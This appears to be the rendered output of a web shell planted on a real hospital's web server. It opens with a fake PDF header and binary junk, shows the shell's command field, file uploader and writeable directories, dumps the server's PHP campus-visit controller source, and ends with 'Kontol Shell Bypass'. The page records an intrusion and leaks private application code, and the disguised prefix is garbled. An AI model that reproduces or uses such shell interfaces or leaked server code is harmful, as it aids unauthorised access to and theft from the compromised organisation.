%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/api/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/api/application/controllers/Campus.php
<?php
class Campus extends MY_Controller {
    function __construct() {
        parent::__construct();
		not_logged_res(); 
		$this->checkAccess('manage_campus_visit');
		$this->load->model("campus_model", "campus");
		$this->load->model("user_model", "user");
    }
	
	function init(){
		$data=$this->campus->lists();
		$data['venues']=$this->campus->campusVenues(); 
		$data['states']=$this->common->states(); 
		$data['times']=['08:00 AM', '09:00 AM', '10:00 AM', '11:00 AM', '12:00 AM' ,'01:00 PM', '02:00 PM', '03:00 PM', '04:00 PM', '05:00 PM', '06:00 PM'];
		$this->json_data($data);
	}

	function lists(){
		$data=$this->campus->lists();
		$this->json_data($data);
	}

	function exportLists(){
		$data=$this->campus->lists(TRUE);
		download_campus_visits_csv($data['result']);
	}

	function detail($id){
		$data['dtl']=$this->campus->detail($id);
		$this->json_data($data);
	}

	function delete(){
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->campus->delete($id)){
			$inf['success']='T';
			$inf['msg']="Deleted successfully";
		}
		$this->json_data($inf);
	}

	function update_followup_status(){
		$inf=array('success'=>false, 'msg'=>'Error!');
		$post=$this->input->post();
		if(!$post['id'] || !$post['status']){
			$inf['msg']="Invalid data!"; $this->json_data($inf);
		}
		$d=['id'=>$post['id'], 'followup_status'=>$post['status']];
		if($this->common->save($d, "campus_visits")){
			$inf['success']=true;
			$inf['msg']="Status changed";
		}
		$this->json_data($inf);
	}
	
	
	/** campusVenues */
	function campusVenues(){
		$data['venues']=$this->campus->campusVenues();
		$this->json_data($data);
	}
	
	function saveCampusVenue(){
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		$id=$post['id']=intval($post['id']);
		$this->form_validation->set_rules('title', 'Campus name', 'required', $this->req);
		$this->form_validation->set_rules('address', 'Address', 'required', $this->req);
		$this->form_validation->set_rules('city', 'City', 'required', $this->req);
		$this->form_validation->set_rules('state', 'State', 'required', $this->req);
		$this->form_validation->set_rules('pincode', 'Pincode', 'required', $this->req);
		$this->form_validation->set_rules('mob', 'Contact No', "required", $this->req);
		$this->form_validation->set_rules('email', 'Email', "required|valid_email", $this->req);
		$this->form_validation->set_rules('email2', 'Alternate Email', "valid_email", $this->req);
		
		$inf['success']='F';
		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
			$data=filter_value($post, array('id', 'title', 'address', 'city', 'state', 'pincode', 'mob', 'mob2', 'email', 'email2', 'disp_odr', 'status'));
			if(!$post['times'][0]){
				$inf['msg']="Select visit times"; $this->json_data($inf);
			}
			$times=[];
			foreach($post['times'] as $t){
				if($t){
					$times[]=$t;
				}
			}
			$data['times']=implode(",", $times);
			
			/** Image */
			if($_FILES['image']['name'] && check_image_ext($_FILES['image']['name'])){
				if(!is_dir(UP_PATHF.'campus/')){
					mkdir(UP_PATHF.'campus/', 777, true);
				}

				$this->load->library('Image');
				$oldimg='';
				if($id){
					$oldimg=$this->db->select("image")->get_where("master_campus", array('id'=>$id))->row()->image;
				}
				$filename=append_to_filename($_FILES['image']['name'], time());
				if($this->image->resize($_FILES['image']['tmp_name'], UP_PATHF.'campus/'.$filename, 600)){
					$data['image']=$filename;
					if($oldimg){
						del_file(UP_PATHF.'campus/'.$oldimg);
					}
				}
			}
			/** \ */

			if($cid=$this->common->save($data, "master_campus")){
				$inf['success']='T';
				$inf['msg']='Campus '.($id?'updated':'added').' successfully';
			}
		}
		$this->json_data($inf);
	}
	
	function campusVenueDetail($id=0){
		$dtl=$this->campus->campusVenueDetail($id);
		$this->json_data($dtl);
	}
	
	function deleteCampusVenue(){
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		$img=$this->db->select("image")->get_where("master_campus", array('id'=>$id))->row()->image;
		if($this->campus->deleteCampusVenue($id)){
			if($img){
				del_file(UP_PATHF.'campus/'.$img);
			}
			$inf['success']='T';
			$inf['msg']="Campus deleted successfully";
		}
		$this->json_data($inf);
	}

	function removeCampusImage(){
		$inf=array('success'=>'F', 'msg'=>'Can not removed!');
		$id=intval($this->input->post('id'));
		$img=$this->db->select("image")->get_where("master_campus", array('id'=>$id))->row()->image;
		if($this->common->save(array('id'=>$id, 'image'=>''), "master_campus")){
			if($img){
				del_file(UP_PATHF.'campus/'.$img);
			}
			$inf['success']='T';
			$inf['msg']="Image removed successfully";
		}
		$this->json_data($inf);
	}

	function campusDates(){
		$post=trim_array($this->input->post());
		$rs=$this->db->select("cdate,times")->get_where("master_campus_dates", array('campus_id'=>$post['campus_id']))->result_array();
		$data['dates']=[];
		foreach($rs as $r){
			$dt=strtotime($r['cdate']);
			$data['dates'][]=array('date'=>date('d M Y', $dt), 'date1'=>date('dMY', $dt), 'day'=>date('l', $dt), 'times'=>explode(",",$r['times']), 'checked'=>true);
		}
		$this->json_data($data);
	}

	function getDates(){
		$data['dates']=[];
		$post=trim_array($this->input->post());
		$date_from=strtotime($post['date_from']);
		$date_to=strtotime($post['date_to']);
		if($date_to<$date_from){
			$this->json_data($data);
		}

		$c=1;
		while($date_from<=$date_to){
			if($c>200){
				break;
			}
			$data['dates'][]=array('date'=>date('d M Y', $date_from), 'date1'=>date('dMY', $date_from), 'day'=>date('l', $date_from), 'times'=>[], 'checked'=>false);
			$date_from=strtotime("+1 days", $date_from);
		}
		$this->json_data($data);
	}

	function saveDates(){
		$inf=array('success'=>false, 'msg'=>'Invalid Data!');
		$post=trim_array($this->input->post());

		if(!$post['campus_id']){
			$this->json_data($inf);
		}
		if(!$post['cdates'][0]){
			$inf['msg']="Select dates"; $this->json_data($inf);
		}
		
		$this->db->delete("master_campus_dates", array('campus_id'=>$post['campus_id']));
		$data=[];
		foreach($post['cdates'] as $d){
			$d1=str_replace(" ", "", $d);
			$times=$post['times'][$d1]?implode(",", $post['times'][$d1]):'';
			$data[]=array('campus_id'=>$post['campus_id'], 'cdate'=>to_date_format($d), 'times'=>$times, 'created_by'=>USER_ID, 'created'=>currentDT());
		}
		$this->db->insert_batch("master_campus_dates", $data);

		$inf['success']=true;
		$inf['msg']="Dates saved"; 
		$this->json_data($inf);
	}
}

//EOF

Kontol Shell Bypass